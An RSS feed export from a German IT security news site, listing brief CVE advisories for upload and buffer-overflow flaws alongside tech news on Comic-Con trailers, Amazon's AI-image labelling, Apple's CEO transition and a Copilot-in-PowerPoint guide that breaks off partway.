<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=bulk+upload+products+shopify%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Wed, 29 Jul 2026 02:55:19 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 02:55:19 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=bulk+upload+products+shopify%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=bulk+upload+products+shopify%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[CVE-2022-40777 | Interspire Email Marketer up to 6.5.0 surveys_submit.php unrestricted upload (EUVD-2022-44043)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in Interspire Email Marketer up to 6.5.0. This affects an unknown function of the file surveys_submit.php. This manipulation causes unrestricted upload.

The identification of this vulnerability is CVE-2022-40777. The attack needs to be done w...]]></description>
<link>https://tsecurity.de/de/3695627/sicherheitsluecken/cve-2022-40777-interspire-email-marketer-up-to-650-surveyssubmitphp-unrestricted-upload-euvd-2022-44043/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695627/sicherheitsluecken/cve-2022-40777-interspire-email-marketer-up-to-650-surveyssubmitphp-unrestricted-upload-euvd-2022-44043/</guid>
<pubDate>Sun, 26 Jul 2026 14:29:47 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/interspire:email_marketer">Interspire Email Marketer up to 6.5.0</a>. This affects an unknown function of the file <em>surveys_submit.php</em>. This manipulation causes unrestricted upload.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2022-40777">CVE-2022-40777</a>. The attack needs to be done within the local network. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2022-40797 | Roxy Fileman 1.4.6 PHAR conf.json unrestricted upload (ID 169964 / EUVD-2022-44063)]]></title>
<description><![CDATA[A vulnerability identified as critical has been detected in Roxy Fileman 1.4.6. This vulnerability affects unknown code of the file conf.json of the component PHAR Handler. This manipulation causes unrestricted upload.

This vulnerability is handled as CVE-2022-40797. The attack can be initiated ...]]></description>
<link>https://tsecurity.de/de/3695628/sicherheitsluecken/cve-2022-40797-roxy-fileman-146-phar-confjson-unrestricted-upload-id-169964-euvd-2022-44063/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695628/sicherheitsluecken/cve-2022-40797-roxy-fileman-146-phar-confjson-unrestricted-upload-id-169964-euvd-2022-44063/</guid>
<pubDate>Sun, 26 Jul 2026 14:29:47 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">critical</a> has been detected in <a href="https://vuldb.com/product/roxy:fileman">Roxy Fileman 1.4.6</a>. This vulnerability affects unknown code of the file <em>conf.json</em> of the component <em>PHAR Handler</em>. This manipulation causes unrestricted upload.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2022-40797">CVE-2022-40797</a>. The attack can be initiated remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-5349 | Trendnet TEW-657BRM 1.00.1 /setup.cgi add_apcdb mac_pc_dba stack-based overflow]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in Trendnet TEW-657BRM 1.00.1. The affected element is the function add_apcdb of the file /setup.cgi. The manipulation of the argument mac_pc_dba leads to stack-based buffer overflow. This vulnerability only affects products that are no longer ...]]></description>
<link>https://tsecurity.de/de/3695450/sicherheitsluecken/cve-2026-5349-trendnet-tew-657brm-1001-setupcgi-addapcdb-macpcdba-stack-based-overflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695450/sicherheitsluecken/cve-2026-5349-trendnet-tew-657brm-1001-setupcgi-addapcdb-macpcdba-stack-based-overflow/</guid>
<pubDate>Sun, 26 Jul 2026 11:51:00 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/trendnet:tew-657brm">Trendnet TEW-657BRM 1.00.1</a>. The affected element is the function <code>add_apcdb</code> of the file <em>/setup.cgi</em>. The manipulation of the argument <em>mac_pc_dba</em> leads to stack-based buffer overflow. This vulnerability only affects products that are no longer supported by the maintainer.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-5349">CVE-2026-5349</a>. The attack can be initiated remotely. Additionally, an exploit exists.

The vendor confirms, that "[t]he product in question (...) has been discontinued and end of life since June 23, 2011, that is more than 14 years ago. We no longer provide support for this product, so we are not able to confirm the vulnerabilities. We will make an announcement on our website's product support page and notify customers who registered their products with us."]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-5350 | Trendnet TEW-657BRM 1.00.1 /setup.cgi update_pcdb mac_pc_dba stack-based overflow]]></title>
<description><![CDATA[A vulnerability described as critical has been identified in Trendnet TEW-657BRM 1.00.1. The impacted element is the function update_pcdb of the file /setup.cgi. The manipulation of the argument mac_pc_dba results in stack-based buffer overflow. This vulnerability only affects products that are n...]]></description>
<link>https://tsecurity.de/de/3695446/sicherheitsluecken/cve-2026-5350-trendnet-tew-657brm-1001-setupcgi-updatepcdb-macpcdba-stack-based-overflow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695446/sicherheitsluecken/cve-2026-5350-trendnet-tew-657brm-1001-setupcgi-updatepcdb-macpcdba-stack-based-overflow/</guid>
<pubDate>Sun, 26 Jul 2026 11:50:58 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability described as <a href="https://vuldb.com/kb/risk">critical</a> has been identified in <a href="https://vuldb.com/product/trendnet:tew-657brm">Trendnet TEW-657BRM 1.00.1</a>. The impacted element is the function <code>update_pcdb</code> of the file <em>/setup.cgi</em>. The manipulation of the argument <em>mac_pc_dba</em> results in stack-based buffer overflow. This vulnerability only affects products that are no longer supported by the maintainer.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-5350">CVE-2026-5350</a>. The attack can be launched remotely. Moreover, an exploit is present.

The vendor confirms, that "[t]he product in question (...) has been discontinued and end of life since June 23, 2011, that is more than 14 years ago. We no longer provide support for this product, so we are not able to confirm the vulnerabilities. We will make an announcement on our website's product support page and notify customers who registered their products with us."]]></content:encoded>
</item>
<item>
<title><![CDATA[Comic-Con 2026 Debuts Trailers for 'Coyote vs Acme' Movie, Plus 'Neuromancer' and 'Blade Runner 2099' Series]]></title>
<description><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner ...]]></description>
<link>https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</guid>
<pubDate>Sun, 26 Jul 2026 10:01:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner Bros. until a backlash led to its sale to Ketchup Entertainment.) "Fed up with Acme's unreliable products, Wile E. Coyote decides to hire a lawyer and sue the company..." writes CNET. "The movie also features Lana Condor along with a host of Looney Tunes characters like Porky Pig, Tweety, Foghorn Leghorn and Granny (who gets dinged by an anvil)."
In other movie news, CNET says Johnny Depp also "made a surprise appearance at Comic-Con, donning a costume as Ebenezer Scrooge" to promote his November 13 movie about the miser from Charles Dickens' famous Christmas novella. (Ian McKellen and Daisy Ridley are also in the movie.)


But several geek favorites are being filmed as TV series...

 There's big news for William Gibson fans, reports Entertainment Weekly. "Two years after Apple TV announced production on the first-ever series adaptation of William Gibson's seminal 1984 novel Neuromancer, the lucky few hundred who attended the studio's Hall H panel at Comic-Con 2026 got to watch the first teaser. 

For Amazon's Prime Video, the Tolkien-derived "Rings of Power" series released a season 3 trailer that CNET said "successfully hides the best parts with fire... The trailer suggests that Sauron is building an army, and all of Middle-earth is trying to find ways to stop him... Rings of Power season 3 will start dropping weekly episodes on Nov. 11, meaning this show will be airing at the same time the Peter Jackson films will be celebrating their 25th anniversary."
Later in November Amazon's Prime Video will also debut Blade Runner 2099, an eight-episode series that's a sequel to 2017's film Blade Runner 2049, reports CNET. "Set in an alternate version of LA where replicants run things and the humans play second fiddle, the series sees Yeoh's replicant Olwen chasing down outlaw replicants who've gone missing. With her own shelf life on a ticking clock, the stakes are high for her and for her human fugitive partner, Cora..."
Paramount Plus will debut Avatar: Seven Havens in October, a new animated series from the creators of Avatar: The Last Airbender which CNET says "follows a pair of twin avatars, one of whom is Korra's successor."

Disney+ has season 3 of Percy Jackson and the Olympians.
Kevin Feige said Marvel's television slate will include more seasons of "X-Men '97" and the upcoming "VisionQuest" TV series.
HBO Max will launch a new Green Lantern series called Lanterns on August 16.
<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Comic-Con+2026+Debuts+Trailers+for+'Coyote+vs+Acme'+Movie%2C+Plus+'Neuromancer'+and+'Blade+Runner+2099'+Series%3A+https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F07%2F26%2F038200%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fentertainment.slashdot.org%2Fstory%2F26%2F07%2F26%2F038200%2Fcomic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://entertainment.slashdot.org/story/26/07/26/038200/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Breakpoint: Roboter-Republik]]></title>
<description><![CDATA[Wer spricht?    –   Bundestag: Tim Hüfner, Spielzeugroboter: Emilipothèse,
Mikrofon: Jon Tyson, Bearbeitung: netzpolitik.orgWenn Politiker:innen nicht mehr selbst reden, sondern Maschinen für sich sprechen lassen, mangelt es ihrem Auftritt an Authentizität. Doch gerade die macht einen Teil ihrer...]]></description>
<link>https://tsecurity.de/de/3695283/it-nachrichten/breakpoint-roboter-republik/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695283/it-nachrichten/breakpoint-roboter-republik/</guid>
<pubDate>Sun, 26 Jul 2026 09:30:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="2560" height="1440" src="https://cdn.netzpolitik.org/wp-upload/2026/07/kolumne_menschen-scaled.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="Ein Spielzeugroboter steht vor zwei Mikrofonen, im Hintergrund der Bundestag" decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/kolumne_menschen-scaled.jpg 2560w, https://cdn.netzpolitik.org/wp-upload/2026/07/kolumne_menschen-860x484.jpg 860w, https://cdn.netzpolitik.org/wp-upload/2026/07/kolumne_menschen-1200x675.jpg 1200w, https://cdn.netzpolitik.org/wp-upload/2026/07/kolumne_menschen-380x214.jpg 380w, https://cdn.netzpolitik.org/wp-upload/2026/07/kolumne_menschen-1536x864.jpg 1536w, https://cdn.netzpolitik.org/wp-upload/2026/07/kolumne_menschen-2048x1152.jpg 2048w" sizes="(max-width: 2560px) 100vw, 2560px"><figcaption class="wp-caption-text">Wer spricht?  <span class="media-license-caption">  –   Bundestag: <a href="https://unsplash.com/de/@huefnerdesign">Tim Hüfner</a>, Spielzeugroboter: <a href="https://unsplash.com/de/@emilipothese">Emilipothèse</a>,
Mikrofon: <a href="https://unsplash.com/de/@jontyson">Jon Tyson</a>, Bearbeitung: netzpolitik.org</span></figcaption></figure>Wenn Politiker:innen nicht mehr selbst reden, sondern Maschinen für sich sprechen lassen, mangelt es ihrem Auftritt an Authentizität. Doch gerade die macht einen Teil ihrer Legitimität aus. Denn in einer Demokratie sollten wir von Menschen repräsentiert werden, nicht von Robotern.]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon Cracks Down On Use of AI Images By Sellers]]></title>
<description><![CDATA[CNBC reports:


Amazon is requiring that third-party sellers label any product images or videos that contain "AI-generated people" after New York recently passed a law mandating greater transparency around "synthetic performers" in ads... The policy directs sellers to tag images [and videos or ot...]]></description>
<link>https://tsecurity.de/de/3694903/it-security-nachrichten/amazon-cracks-down-on-use-of-ai-images-by-sellers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694903/it-security-nachrichten/amazon-cracks-down-on-use-of-ai-images-by-sellers/</guid>
<pubDate>Sat, 25 Jul 2026 22:16:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[CNBC reports:


Amazon is requiring that third-party sellers label any product images or videos that contain "AI-generated people" after New York recently passed a law mandating greater transparency around "synthetic performers" in ads... The policy directs sellers to tag images [and videos or other graphics on listing pages] with specific metadata keywords before they're uploaded. "Recent legislation requires disclosure when images or videos in advertisements contain photorealistic AI-generated people," Amazon wrote in the announcement [clarifying that the requirement doesn't apply to content featuring TV/video game/movie characters or content including real people, even if they've been altered using AI]. The company said it will "add an indicator" to listings on its website, informing consumers that images or other content feature AI-generated people, "where applicable." It's unclear what criteria Amazon will apply when deciding when to display the label to shoppers... 

Amazon has embraced AI internally and it's increasingly infusing the technology across its portfolio. The company has optimized listing titles and details so they're more likely to be spotted by AI systems, invested in a recently rebranded assistant called Alexa for Shopping, and launched a feature that injects AI-generated [images of] products into its search bar in real time based on user queries. More Amazon third-party sellers are using AI to generate text, images and other content for their listings, partly by using the company's tools. 

Outside sellers account for more than 60% of goods sold on Amazon, the article points out. It adds that there's currently no nationwide U.S. law requiring companies to disclose AI-generated advertising content, it adds — but YouTube, Meta, Pinterest, and TikTok have already added labels for AI-generated content. 

And a new California law also requires large AI providers to embed watermarks in AI-generated images, video and other content...<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Amazon+Cracks+Down+On+Use+of+AI+Images+By+Sellers%3A+https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F07%2F25%2F0545246%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F07%2F25%2F0545246%2Famazon-cracks-down-on-use-of-ai-images-by-sellers%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://slashdot.org/story/26/07/25/0545246/amazon-cracks-down-on-use-of-ai-images-by-sellers?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple and the changing of the guard]]></title>
<description><![CDATA[As Apple gears up to anoint John Ternus the new company CEO in September (while current leader Tim Cook takes a seat on the board) the company appears to be firing on all cylinders ahead of the leadership transition. 



What’s going well



Just look at the evidence: 




Apple is building marke...]]></description>
<link>https://tsecurity.de/de/3694776/ai-nachrichten/apple-and-the-changing-of-the-guard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694776/ai-nachrichten/apple-and-the-changing-of-the-guard/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:11 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As Apple gears up to <a href="https://www.computerworld.com/article/4161377/with-john-ternus-as-ceo-expect-apples-platforms-to-proliferate.html">anoint John Ternus</a> the new company CEO in September (while current leader Tim Cook <a href="https://www.apple.com/uk/newsroom/2026/04/tim-cook-to-become-apple-executive-chairman-john-ternus-to-become-apple-ceo/" target="_blank" rel="noreferrer noopener">takes a seat on the board</a>) the company appears to be firing on all cylinders ahead of the leadership transition. </p>



<h2 class="wp-block-heading"><strong>What’s going well</strong></h2>



<p class="wp-block-paragraph">Just look at the evidence: </p>



<ul class="wp-block-list">
<li>Apple is building market share across its entire product range; even memory-driven price inflation doesn’t seem to have dampened demand for its hardware yet.</li>



<li>While Apple had to raise prices, the company’s MacBook Neo remains seriously popular. It’s sitting atop <a href="https://www.amazon.com/Best-Sellers-Laptop-Computers/zgbs/electronics/565108" target="_blank" rel="noreferrer noopener">Amazon’s US best-selling chart</a>, which currently includes six Macs in the top 10. The Neo has <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html" target="_blank">topped this chart</a> since its introduction.</li>



<li>Apple’s iPhone 17 series continues to sell well, with recent market data showing sustained growth. Both <a href="https://counterpointresearch.com/en/insights/china-smartphone-shipments-slip-2-percent-yoy-in-q2-2026">Counterpoint</a> and <a href="https://www.applemust.com/apple-bucks-the-trend-in-china-with-iphone/">IDC</a> tell us that iPhone shipments continue to increase, even as other vendor shipments slide.</li>



<li>IDC analyst Francisco Jeronimo <a href="https://thecorenews.substack.com/p/the-core-appletldr-july-20">recently estimated</a> that Apple’s upcoming foldable iPhone Ultra could grab 29.4% of global folding smartphone sales this year, rising to 34.9% in 2027.</li>



<li>The company’s new <a href="https://www.computerworld.com/article/4188961/these-apple-os-betas-are-just-what-the-believers-wanted.html">27 series of operating systems</a> is attracting a great response as beta testers report that it is already solid, stable, and performing well.</li>



<li>The AI narrative has really changed, with analysts no longer <a href="https://www.computerworld.com/article/4198808/apple-could-run-the-table-on-ai-if-it-does-things-right.html">quite so starry-eyed</a> at the prospects for the big frontier AI firms. Apple’s edge-AI-enabling approach is winning converts.</li>
</ul>



<h2 class="wp-block-heading"><strong>What’s coming up</strong></h2>



<p class="wp-block-paragraph">The company’s <a href="https://www.computerworld.com/article/4198342/apple-widens-openai-trade-secrets-fight-with-preservation-orders.html">newly-filed lawsuit against OpenAI</a> may or may not succeed, but it will certainly help consolidate recognition of the importance of Apple’s designs and intellectual property in whatever hardware emerges from the AI firm. It also means both Apple and OpenAI are already competing in hardware, even though neither company yet offers anything that directly challenges the other. </p>



<p class="wp-block-paragraph">Apple has just set out its stall to brand-loyal fans in a big way and did so before OpenAI gets to woo the same set of customers with a wriggle of its <a href="https://www.computerworld.com/article/3992592/jony-ive-and-openai-plan-bicycles-for-21st-century-minds.html">Jony Ive-tinged talisman</a>.</p>



<p class="wp-block-paragraph">The stage is set for intense competition between the two. Though some say Apple’s needs to improve  employee retention, if it does find proof of efforts to use recruitment to engage in industrial espionage, it’ll be easier to represent its own products as being the OG for new hardware. </p>



<p class="wp-block-paragraph">If nothing else, it means consumers will forever be asking, “If OpenAI’s designers are so good, why did it need to poach them from Apple?” Doubt is a weapon.</p>



<h2 class="wp-block-heading"><strong>Managing perception</strong></h2>



<p class="wp-block-paragraph">It doesn’t matter how the case goes, because there fight is already affecting consumer psychology. It also means that as Ternus prepares to take his seat atop the rainbow-colored Apple throne, we can already size him up. “A man is measured by his enemies,” Joe Abercrombie wrote in “The Trouble With Peace.”</p>



<p class="wp-block-paragraph">Given the proximity of the leadership transition, it’s highly probable that Ternus signed-off on the litigation; in doing so he — and Apple — tell us to expect more of the same. </p>



<p class="wp-block-paragraph">Apple has, rightly or wrongly, decided that OpenAI will become its new existential bugbear, following in the footsteps of Microsoft Windows, Real Networks, Adobe Flash, Android, and Samsung, all of whom have been useful foils against which Apple has been able to build and maintain its identity.</p>



<p class="wp-block-paragraph">Looking at that list, you’d be tempted to believe that nothing much is new. Apple has often defined itself by the enemies it sometimes keeps. What has been will be again, which in this case means even as OpenAI attempts to carve out an identity as a hardware manufacturer delivering solutions to compete with Apple and Google, Ternus’ team’s looks to drive a consensus-shaped wedge into the pro-LLM propaganda. </p>



<p class="wp-block-paragraph">That blow comes as Apple <a href="https://www.computerworld.com/article/4198808/apple-could-run-the-table-on-ai-if-it-does-things-right.html">finally gets its act together around AI</a>, and as the company prepares for a future in which the world’s most-used wearable device also becomes the wearable way to woo Siri AI.</p>



<h2 class="wp-block-heading"><strong>My kingdom come</strong></h2>



<p class="wp-block-paragraph">Rising market share, powerful solutions, an increasingly recognized and respected approach to AI, and an ideological crusade — these details constitute Apple’s place today and are Tim Cook’s coronation gift to Ternus. He’s passing along a strong and hyper-profitable baton that screams of timeliness and relevance even as the company gets set, ready, to go with a year or two of new product designs, new product families, and a <a href="https://www.computerworld.com/article/4104139/the-stage-is-being-set-for-20-years-of-iphone.html">20<sup>th</sup>anniversary iPhone</a>.</p>



<p class="wp-block-paragraph">This is Apple’s party. OpenAI’s name didn’t make the list. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694773/ai-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:10 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



